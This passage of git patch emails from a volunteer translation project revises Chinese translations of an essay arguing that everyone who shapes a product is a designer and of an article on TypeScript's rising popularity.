-Having more people who *do design* is additive, not competitive. These designers make your team and your product stronger, because they’re contributing from their unique perspectives. Help them bolster their skills, and use their expertise to the advantage of your product and company.
-对于更多的人来说**做设计**是附加的，并没有竞争力。这些设计是您的团队和您的产品更强大，因为他们从独特的角度做出贡献。帮助他们提高自己的技能，并利用自己的专长来优化您的产品和公司。
+对于更多的人来说**做设计**是附加的，并没有竞争力。这些设计师使您的团队和您的产品更强大，因为他们从独特的角度做出贡献。帮助他们提高自己的技能，并利用自己的专长来优化您的产品和公司。
 
-### **Let’s make a better future together** ###
 ### **让我们一起创造更美好的未来吧** ###
 
-A few years ago, I met an executive from a Fortune 500 company. When I told her I’m a designer, her eyes lit up. “Oh, I love design!” she said. “My group is just down the hall from the design team. They do so much creative work in there.”
 几年前，我遇到一家财富 500 强公司的 CEO。当我告诉她我是设计师时，她的眼睛亮了起来。「哦，我喜欢设计！」她说，「我的团队就在设计团队的大厅里，他们在那里做了很多创造性的工作。」
 
-My heart sank. The design team was just down the hall from this executive, but they didn’t work together. Instead, they sat behind soundproof glass walls and did special “creative work” in isolation.
-我的心冷了下来。设计团队只是在这个行政大厅，但是他们没有一起工作。相反，他们坐在隔音玻璃后面，孤立地做「创造性工作」。
+我的心凉了一截。他们的设计团队只是在这个行政大厅，但是他们没有一起工作。相反，他们坐在隔音玻璃后面，孤立地做「创造性工作」。
 
-This executive made decisions every day that affected her customers. She bears some of the blame for not reaching out to the designers “in there.” But the design team is primarily at fault — for missing an opportunity to reach out and work together on some of the business’s most important challenges.
-这个行政大厅每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但主要错在设计团队，因为错过了接触和在一些业务中最重要的挑战上共同工作的机会。
-
-Thanks to [Jared M. Spool](https://medium.com/@jmspool)  for writing an excellent article, [John Zeratsky](https://medium.com/@jazer)  and [Michael Margolis](https://medium.com/@mmargolis)  for editing and suggestions, and [Alex Schleifer](https://medium.com/@alexoid)  for the excellent *Wired* article.
+行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。
 
 感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的**《连线》**文章（做的努力）。
 

From 293b33e01b53ff118301e52966d1bc73ae7ee1c6 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Fri, 12 May 2017 07:29:43 +0800
Subject: [PATCH 426/638] update

---
 TODO/typescript-getting-popular.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index 44c216fbc70..020f9d880d8 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -12,15 +12,15 @@
 
 在最近的 [Stack Overflow 开发者调查](https://stackoverflow.com/insights/survey/2017#technology)以及年度 [RedMonk](http://redmonk.com) 编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发者对他们的代码进行类型检查，这可以[暴露 bug 并改善大型 JavaScript 代码库的结构和文档]((https://slack.engineering/typescript-at-slack-a81307fa288d))。
 
-参与了 Stack Overflow 调查的开发者中有 9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言。排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 调查中的受访者来自不同领域；使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次调查并非只针对前端开发。事实上，TypeScript 程序员出现在了参与 Stack Overflow 调查的所有 4 种工作角色中；web 开发者、桌面开发者、系统管理员与 DevOps 以及数据科学家。
+参与了 Stack Overflow 调查的开发者中有 9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言，排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 调查中的受访者来自不同领域，使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次调查并非只针对前端开发。事实上，TypeScript 程序员出现在了参与 Stack Overflow 调查的所有 4 种工作角色中：web 开发者、桌面开发者、系统管理员与 DevOps 以及数据科学家。
 
 RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结合起来试图理解开发者的想法以及他们正在使用什么。TypeScript 同样受到了开发者的欢迎，排名从第 26 位上升到了第 17 位。其中一部分原因是 TypeScript 在 Stack Overflow 上关注度的提升，但主要还是因为在 GitHub 上参与的开发者在不断增多。
 
 的确，GitHub 在其 2016 [年度总结](https://octoverse.github.com/)中把 TypeScript 列为在 GitHub 上用于项目开发的 316 种编程语言中最受欢迎榜单的第 15 位（基于 pull request 的数量以及相较与前一年 pull request 250% 的增长率）。
 
-在另一个针对开发者的调查中，TypeScript 在众多 JavaScript 的『替代』[风格](http://stateofjs.com/2016/flavors/)中拥有最高的使用率（21%）以及尚未的用户中最高的关注度（39%）。这项调查的方式不同寻常 —— 它很奇怪的将转译器和包管理器（如 [npm](https://www.npmjs.com/) 和 [Bower](https://bower.io/)）混合在一起 —— 但参与了这项调查且经常使用 TypeScript 的开发者也经常使用 [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/)、[NativeScript](https://www.nativescript.org/)、[Angular](https://angular.io/)，尤其是 Angular2。
+在另一个针对开发者的调查中，TypeScript 在众多 JavaScript 的『替代』[风格](http://stateofjs.com/2016/flavors/)中拥有最高的使用率（21%）以及尚未的用户中最高的关注度（39%）。这项调查的方式不同寻常 —— 它很奇怪地将转译器和包管理器（如 [npm](https://www.npmjs.com/) 和 [Bower](https://bower.io/)）混合在一起 —— 但参与了这项调查且经常使用 TypeScript 的开发者也经常使用 [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/)、[NativeScript](https://www.nativescript.org/)、[Angular](https://angular.io/)，尤其是 Angular2。
 
-来自 RedMonk 的 [Stephen O’Grady](http://redmonk.com/team/stephen-ogrady/) 指出『似乎有理由相信 Angular』在 TypeScript 的日益普及中发挥了作用。虽然Angular2 只是众多使用了 TypeScript 的项目中的一个（Asana 和 Dojo 已经在使用了，Adobe、Google、Palantir、SitePen 以及 eBay 的一些内部项目也是一样）。但最为人们所熟知的，恐怕还是像 [Rob Wormald](https://twitter.com/robwormald) 这样的 Google 员工在宣传 Angular 时顺带推广了 TypeScript。
+来自 RedMonk 的 [Stephen O’Grady](http://redmonk.com/team/stephen-ogrady/) 指出『似乎有理由相信 Angular』在 TypeScript 的日益普及中发挥了作用。虽然 Angular2 只是众多使用了 TypeScript 的项目中的一个（Asana 和 Dojo 已经在使用了，Adobe、Google、Palantir、SitePen 以及 eBay 的一些内部项目也是一样），但最为人们所熟知的恐怕还是像 [Rob Wormald](https://twitter.com/robwormald) 这样的 Google 员工在宣传 Angular 时顺带推广了 TypeScript。
 
 ## 不止是 Angular2 ##
 
@@ -46,7 +46,7 @@ React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架
 
 >『通常，TypeScript 被采用的流程 —— 不论是企业，创业团队还是个人开发者 —— 是你在某个项目中尝试使用并发现它很棒，接着你就开始推荐给别人。就这样，它就在你的影响范围内传播开了。』—— Anders Hejlsberg
 
-关注度的提高似乎是用户增长的原因之一。『我们没做过任何推广，所有这些都是社区驱动的。实际上是在稳步增长，我们现在开始注意增长速度更快了。』Hejlsberg 说道。
+关注度的提高似乎是用户增长的原因之一。『我们没做过任何推广，所有这些都是社区驱动的。实际上是在稳步增长，我们现在开始注意到增长速度更快了。』Hejlsberg 说道。
 
 Hejlsberg 指出 TypeScript 还是在 Stack Overflow 的调查中排在 Rust 和 Smalltalk 之后第三受欢迎的语言（排在 Swift 和 go 之前）以及第六急需人才的语言，排在 C# 和 Swift 之前。『我认为这从很大程度上说明我们真的解决了实际问题』Hejlsberg 指出。
 

From 2ca009ad8d8f58a8159d332563c4d746b2dc2c2b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=9D=A8=E6=9F=B3=E9=9D=92?= <ylq950327@gmail.com>
Date: Fri, 12 May 2017 08:48:45 +0800
Subject: [PATCH 427/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

> * 原文地址：[Everyone is a designer. Get over it.](https://library.gv.com/everyone-is-a-designer-get-over-it-501cc9a2f434)
> * 原文作者：[Daniel Burka](https://library.gv.com/@dburka)
> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
> * 译者：[ylq167](https://github.com/ylq167)
> * 校对者：[changkun](https://github.com/changkun)，[circlelove](https://github.com/circlelove)


![](https://cdn-images-1.medium.com/max/2000/1*xIoFsnWI_2-1VOy00a2KrQ.jpeg)

图片作者 Alice Achterhof [来自于 Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)

# 人人都是设计师。我们可以的。 #

最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。

![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)

从一些反应中，你可能会认为 Jared 绑架了一些人的孩子用来献祭。Jared 到底写了什么呢？

> 这个团队的成员都是性能工程师。他们架设，开发，维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。

> 然而，在 Netflix 用户的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师（的身份）发生了戏剧性的转变，**他们变成了用户体验设计师。**

我把最后一句话加粗了 —— 因为这真的很重要。一些设计师对工程师或销售人员或 CFO 可能是「设计师」的想法感到不适。

![](https://cdn-images-1.medium.com/max/800/1*ErZDaGRy3mJ19jGdWqeJgA@2x.png)

常见反应

不管你是不是喜欢，也不管你是不是同意，设计团队以外的人都会以重要的方式通过重大的**设计**决策来影响你的客户。他们也**正在设计**你的产品，他们也是**设计师**。

这不应该是**挑衅** —— 这只是一个事实的陈述。我每年与几十家[创业公司](http://www.gv.com/portfolio/)合作，我看到每一家公司都会发生这种情况。CFO 作出定价决定改变了产品体验。一个工程师做了性能权衡。销售人员写一个与客户交谈的脚本。在我看来，从根本上改变用户体验的人就可以叫做**设计师**。

如果这是不言而喻的，那为什么 Jared 和我坚持这一点？我会一直强调这一点，因为我希望设计师能改变看待自己身份的方式，并成为更好的设计师。

现在，想想这种观点的改变将如何改变你的工作方式。

#### 人人都需要设计思维 ####

当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。

苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对**《连线》杂志**提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。

>**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**

每个人都需要掌握设计师的所有技能吗？当然不是。但是理解他们的决定是如何影响用户体验每个人都要掌握的手段。

当一个工程师在性能方面走捷径时，他们需要理解这是如何损害用户体验的。同样，当设计师需要推动工程师做影响性能的改变时，这个工程师应该帮助设计师做出最好的整体设计决策，而不仅是否定设计师所需要的。正是这种相互尊重的合作方式才孕育了伟大的设计。

激发共鸣的最好方式就是和来自公司的同事一起看用户调研。当我的同事 Michael Margolis 和 GV 公司一起进行研究时，我们要求整个团队 —— 而不仅仅是设计师 —— 都要一起观看这些访谈并进行记录。如果不可能做到每个人都全部观看，你可以记录会话并在之后安排一个集体的「评审会议」。

#### 在设计团队之外工作 ####

当你接受设计这个行为发生在你的团队中几乎任何地方时，你必须承担责任。你的应用很慢？去找开发团队谈谈。你的营销团队很难将你的产品传达给潜在客户？你最好在这个问题上和他们一起工作。

是的，和你公司里的每个人一起做设计的工作量很大。但是，如果你想成为一名真正伟大的设计师，那么这是必要的。否则，你只是在做错误的决定。例如，假设你的 CEO 为你的产品创建了一个复杂的定价结构。你可以专注于使用您的界面和信息设计技巧使定价页面尽可能的清晰。但是需要把握的更加困难和重要的设计机会则是与您的 CEO 一起重新定价你的产品，以便用户清楚，同时符合业务目标。

关注核心业务是将是实际产品设计与界面设计甚至用户体验设计区分开来。基本的产品设计真的很难，需要大量的调研工作，但这就是最高级的设计师所做的 - 这就是为什么他们的工作比你的好。

![](https://cdn-images-1.medium.com/max/600/1*czW-2nrN_3l50ZzgYQYqlw@2x.png)

Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」

#### 将非设计师扩增到设计团队中 ####

设计是一项艰巨的任务，你将需要广泛的技能（请查看由 Dan Saffer（制作的）[UX 学科图](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)中的所有圈子）和多年的实践才能真正掌握设计。

也许这就是为什么当不是设计师的人做设计工作或者被 Jared 和我称作「设计师」时，许多设计师感到生气。只要你愿意你可以表现的很生气，但事实是其他人不管有没有你都一直在做设计决策。拥抱他们吧，他们不会使你的工作变得不那么有价值，也不会使你的职位变得不那么有意义。

对于更多的人来说**做设计**是附加的，并没有竞争力。这些设计师使您的团队和您的产品更强大，因为他们从独特的角度做出贡献。帮助他们提高自己的技能，并利用自己的专长来优化您的产品和公司。

### **让我们一起创造更美好的未来吧** ###

几年前，我遇到一家财富 500 强公司的 CEO。当我告诉她我是设计师时，她的眼睛亮了起来。「哦，我喜欢设计！」她说，「我的团队就在设计团队的大厅里，他们在那里做了很多创造性的工作。」

我的心凉了一截。他们的设计团队只是在这个行政大厅，但是他们没有一起工作。相反，他们坐在隔音玻璃后面，孤立地做「创造性工作」。

行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。

感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的**《连线》**文章（做的努力）。

---

> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
---
 TODO/everyone-is-a-designer-get-over-it.md | 84 +++++++---------------
 1 file changed, 25 insertions(+), 59 deletions(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index d2b20d831b0..891ccb56f1c 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -1,115 +1,81 @@
 > * 原文地址：[Everyone is a designer. Get over it.](https://library.gv.com/everyone-is-a-designer-get-over-it-501cc9a2f434)
 > * 原文作者：[Daniel Burka](https://library.gv.com/@dburka)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[ylq167](https://github.com/ylq167)
+> * 校对者：[changkun](https://github.com/changkun)，[circlelove](https://github.com/circlelove)
 
 
 ![](https://cdn-images-1.medium.com/max/2000/1*xIoFsnWI_2-1VOy00a2KrQ.jpeg)
 
-Photo by Alice Achterhof [via Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
 图片作者 Alice Achterhof [来自于 Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
 
-# Everyone is a designer. Get over it. #
-# 人人都是设计师。结束它吧。#
+# 人人都是设计师。我们可以的。 #
 
-Recently, [Jared Spool](https://www.uie.com/about/) caught my attention with [an article](https://articles.uie.com/signup/)  about how Netflix’s performance engineers are *actually designers*. It’s a provocative idea, but it makes sense. His argument is that everyone in your organization (including performance engineers) designs the product, not just the people with “design” in their job titles.
-最近，[Jared Spool](https://www.uie.com/about/) 通过一篇关于 Netflix 的性能工程师竟然是**设计师**的[文章](https://articles.uie.com/signup/)吸引了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是职位为「设计」的人。
+最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
 
 ![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)
 
-From some of the reactions, you might think Jared had kidnapped someone’s baby for ritual sacrifice. What exactly did Jared write?
-从一些反应中，你可能会认为 Jared 绑架了一些人的宝贝用来献祭。Jared 到底写了什么呢？
+从一些反应中，你可能会认为 Jared 绑架了一些人的孩子用来献祭。Jared 到底写了什么呢？
 
-> The members of this team are performance engineers. They are architecting, engineering, and maintaining the performance of a very complex system. It occupies all their time and then some. In systems engineering, there are few jobs more technical than these.
 > 这个团队的成员都是性能工程师。他们架设，开发，维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
 
-> And yet, at the very moment that a Netflix viewer’s video stream stops and that spinning animation appears, indicating the player is now awaiting more data, these engineers make a dramatic change. **They become user experience designers.**
-> 然而，在 Netflix 观众的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师发生了戏剧性的转变，**他们变成了用户体验设计师。**
+> 然而，在 Netflix 用户的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师（的身份）发生了戏剧性的转变，**他们变成了用户体验设计师。**
 
-I made that last sentence bold — because it’s really important. Some designers are uncomfortable with the idea that an engineer or a salesperson or a CFO could be a *designer*.
-我把最后一句话加粗了，因为这真的很重要。一些设计师对工程师或销售人员或财务官可能是「设计师」的想法感到不适。
+我把最后一句话加粗了 —— 因为这真的很重要。一些设计师对工程师或销售人员或 CFO 可能是「设计师」的想法感到不适。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ErZDaGRy3mJ19jGdWqeJgA@2x.png)
 
-Common reactions
-常见的反应
+常见反应
 
-Whether you like it or not, whether you approve it or not, people outside of your design team are making significant *design* choices that affect your customers in important ways. They are *designing* your product. They are *designers*.
-不管你是不是喜欢，也不管你是不是同意，设计团队以外的人都会以重要的方式通过重大的**设计**决策来影响你的客户。
+不管你是不是喜欢，也不管你是不是同意，设计团队以外的人都会以重要的方式通过重大的**设计**决策来影响你的客户。他们也**正在设计**你的产品，他们也是**设计师**。
 
-This shouldn’t be provocative — it’s just a statement of fact. I work with[ dozens of startups](http://www.gv.com/portfolio/) every year, and I see it happen at every one. A CFO makes a pricing decision and changes the product experience. An engineer makes a performance trade-off. A salesperson writes a script for talking to customers. In my view, people who fundamentally change the customer’s experience are *designers*.
-这不应该是**挑衅**-这只是一个事实的陈述。我每年与几十家[创业公司](http://www.gv.com/portfolio/)合作，我看到每一家公司都会发生这种情况。首席财务官作出定价决定改变了产品体验。一个工程师做了性能权衡。销售人员写一个与客户交谈的脚本。在我看来，从根本上改变用户体验的人就可以叫做**设计师**。
+这不应该是**挑衅** —— 这只是一个事实的陈述。我每年与几十家[创业公司](http://www.gv.com/portfolio/)合作，我看到每一家公司都会发生这种情况。CFO 作出定价决定改变了产品体验。一个工程师做了性能权衡。销售人员写一个与客户交谈的脚本。在我看来，从根本上改变用户体验的人就可以叫做**设计师**。
 
-If this is so self-evident, why do Jared and I press the point? I keep beating the drum because I want designers to change the way they think about their role and become better stewards of good design.
-如果这是不言而喻的，那为什么 Jared 和我坚持这一点？我会持续宣传（此处翻译是否合适？），因为我希望设计师改变他们对自身角色的看法，并成为更好的设计师。
+如果这是不言而喻的，那为什么 Jared 和我坚持这一点？我会一直强调这一点，因为我希望设计师能改变看待自己身份的方式，并成为更好的设计师。
 
-For a moment, consider how this shift in perspective could change the way you work.
 现在，想想这种观点的改变将如何改变你的工作方式。
 
-#### Everyone needs a design mindset ####
-#### 每个人都需要设计思维 ####
+#### 人人都需要设计思维 ####
 
-When you accept the reality that design decisions are coming from outside your group, by people without “design” in their job titles, you approach your co-workers differently . Now they’re not just your co-workers — they’re your design team.
-当你接受设计决策来自于你团队之外而且职位不是「设计」的人的现实时，你就会向你的其他同事靠拢。现在他们不仅是你的同事-他们还是你的设计团队。
+当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。
 
-The companies that produce great design, such as Apple and Airbnb, have learned this. Alex Schleifer, VP of design at Airbnb,[ tells *Wired*](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/) how the company *isn’t* design-led:
-创造出顶尖设计的公司，像苹果（Apple）和爱彼迎（Airbnb），都已经意识到了这一点。 爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [告诉**《连线》杂志**](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)公司如何才能**不由**设计主导。
+苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对**《连线》杂志**提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
 
-> *The solution [at Airbnb] actually deemphasizes the designers. The point… isn’t to create a “design-led culture,” because that tends to tell anyone who isn’t a designer that their insights take a backseat. It puts the entire organization in the position of having to react to one privileged point of view. Instead, Schleifer wants more people to appreciate what typically lies only within the realm of designers — the user viewpoint.*
-> **爱彼迎（Airbnb）的解决方法实际上不强调设计师，这一点，不是要创造一个「设计主导的文化」，而是因为这往往会告诉任何一个不是设计师的人他们的洞察力是不重要的。它使整个组织能够对一个特别的观点作出反应。（此处该如何翻译？）相反，Schleifer 希望更多的人意识到用户视角通常只在设计师的领域。**（此处该如何翻译？）
+>**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**
 
-Does everyone need all the skills of a designer? Of course not. But each person needs to be armed with the tools to understand how their decisions affect the customer experience.
-每个人都需要掌握设计师的所有技能吗？当然不是。但是每个人都需要配备工具来理解他们的决定是如何影响用户体验的。
+每个人都需要掌握设计师的所有技能吗？当然不是。但是理解他们的决定是如何影响用户体验每个人都要掌握的手段。
 
-When an engineer takes a shortcut and scrimps on performance, they need to understand how that damages the user experience. Likewise, when a designer pushes an engineer to make a change that affects performance, that engineer should help the designer make the best overall design decision — not just roll over and do what the designer asked. It’s this type of respectful collaboration that makes great design happen.
-当一个工程师在性能方面采用敏捷的途径时，他们需要理解这是如何损害用户体验的。同样，当设计师需要推动工程师做影响性能的改变时，这个工程师应该帮助设计师做出最好的整体设计决策，而不仅是否定设计师所需要的。正是这种尊重的合作创造出伟大的设计。
+当一个工程师在性能方面走捷径时，他们需要理解这是如何损害用户体验的。同样，当设计师需要推动工程师做影响性能的改变时，这个工程师应该帮助设计师做出最好的整体设计决策，而不仅是否定设计师所需要的。正是这种相互尊重的合作方式才孕育了伟大的设计。
 
-One of the best ways to encourage empathy is to watch customer research studies with co-workers from across your company. When my colleague Michael Margolis runs a study with a GV company, we insist that the real team — not just the designers — watch those interviews and take notes. If it’s not possible for everyone to watch in real time, you can record the sessions and schedule a “viewing party” for later.
-激发共鸣的最好方式就是和来自公司的同事一起看用户调研。当我的同事 Michael Margolis 和 GV 公司一起进行研究时，我们坚持认为，真正的团队-不仅仅是设计师-需要看这些访谈并进行记录。如果不可能做到每个人都全部观看，你可以记录会话并在之后安排一个「观看聚会」。
+激发共鸣的最好方式就是和来自公司的同事一起看用户调研。当我的同事 Michael Margolis 和 GV 公司一起进行研究时，我们要求整个团队 —— 而不仅仅是设计师 —— 都要一起观看这些访谈并进行记录。如果不可能做到每个人都全部观看，你可以记录会话并在之后安排一个集体的「评审会议」。
 
-#### Work outside your design team ####
 #### 在设计团队之外工作 ####
 
-When you accept that design happens almost everywhere in your organization, you have to take responsibility for it. Your app is slow? Go sit with your engineering team. Your marketing team is poorly communicating your product to future customers? You’d better offer to work with them on the problem.
-当你接受设计这个行为发生在你的团队中几乎任何地方时，你必须承担责任。你的应用很慢？和你的工程团队坐在一起。你的营销团队很难将你的产品传达给未来的客户？你最好在这个问题上和他们一起工作。
+当你接受设计这个行为发生在你的团队中几乎任何地方时，你必须承担责任。你的应用很慢？去找开发团队谈谈。你的营销团队很难将你的产品传达给潜在客户？你最好在这个问题上和他们一起工作。
 
-Yes, doing design with everyone at your company is a lot of work. But it’s necessary if you want to be a truly great designer — otherwise, you’re simply papering over bad decisions. For example, imagine that your CEO created a complex pricing structure for your product. You could focus on making the pricing page as clear as possible using your interface and information design skills. But the harder and more important design opportunity is to work with your CEO on repricing your product so it’s clear to customers and compatible with the business goals.
-是的，和你公司里的每个人一起做设计的工作量很大。但是，如果你想成为一名真正伟大的设计师，那么这是必要的。否则，你只是在做错误的决定。例如，假设你的 CEO 为你的产品创建了一个复杂的定价结构。你可以专注于使用您的界面和信息设计技巧使定价页面尽可能的清晰。但更难更重要的设计机会是与您的 CEO 一起重新定价你的产品，以便用户清楚，同时符合业务目标。
+是的，和你公司里的每个人一起做设计的工作量很大。但是，如果你想成为一名真正伟大的设计师，那么这是必要的。否则，你只是在做错误的决定。例如，假设你的 CEO 为你的产品创建了一个复杂的定价结构。你可以专注于使用您的界面和信息设计技巧使定价页面尽可能的清晰。但是需要把握的更加困难和重要的设计机会则是与您的 CEO 一起重新定价你的产品，以便用户清楚，同时符合业务目标。
 
-Focusing on the core business is what differentiates real product design from interface design or even user experience design. Fundamental product design is really hard and requires a lot of legwork, but this is what designers at the highest level do — and it’s why their work is better than yours.
-关注核心业务是将是实际产品设计与界面设计甚至用户体验设计区分开来。基本的产品设计真的很难，需要大量的调研工作，但这就是最高级的设计师所做的-这就是为什么他们的工作比你的好。
+关注核心业务是将是实际产品设计与界面设计甚至用户体验设计区分开来。基本的产品设计真的很难，需要大量的调研工作，但这就是最高级的设计师所做的 - 这就是为什么他们的工作比你的好。
 
 ![](https://cdn-images-1.medium.com/max/600/1*czW-2nrN_3l50ZzgYQYqlw@2x.png)
 
-“The Disciplines of UX Design” by Dan Saffer and Thomas Gläser
 Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」
 
-#### Grow your design team to include non-designers ####
-#### 扩大您的设计团队，包括非设计师 ####
+#### 将非设计师扩增到设计团队中 ####
 
-Design is a hard job. You’ll need a wide range of skills (look at all of those circles in the[ diagram of UX Disciplines](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)  by Dan Saffer) and years of practice to truly master design.
 设计是一项艰巨的任务，你将需要广泛的技能（请查看由 Dan Saffer（制作的）[UX 学科图](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)中的所有圈子）和多年的实践才能真正掌握设计。
 
-Maybe that’s why so many designers are offended when non-designers do design work or get called “designers” by Jared and me. You can act offended if you want, but the reality is that other people are making design decisions with or without you. Embrace them . They don’t make your job less valuable. They don’t make your job title less meaningful.
 也许这就是为什么当不是设计师的人做设计工作或者被 Jared 和我称作「设计师」时，许多设计师感到生气。只要你愿意你可以表现的很生气，但事实是其他人不管有没有你都一直在做设计决策。拥抱他们吧，他们不会使你的工作变得不那么有价值，也不会使你的职位变得不那么有意义。
 
-Having more people who *do design* is additive, not competitive. These designers make your team and your product stronger, because they’re contributing from their unique perspectives. Help them bolster their skills, and use their expertise to the advantage of your product and company.
-对于更多的人来说**做设计**是附加的，并没有竞争力。这些设计是您的团队和您的产品更强大，因为他们从独特的角度做出贡献。帮助他们提高自己的技能，并利用自己的专长来优化您的产品和公司。
+对于更多的人来说**做设计**是附加的，并没有竞争力。这些设计师使您的团队和您的产品更强大，因为他们从独特的角度做出贡献。帮助他们提高自己的技能，并利用自己的专长来优化您的产品和公司。
 
-### **Let’s make a better future together** ###
 ### **让我们一起创造更美好的未来吧** ###
 
-A few years ago, I met an executive from a Fortune 500 company. When I told her I’m a designer, her eyes lit up. “Oh, I love design!” she said. “My group is just down the hall from the design team. They do so much creative work in there.”
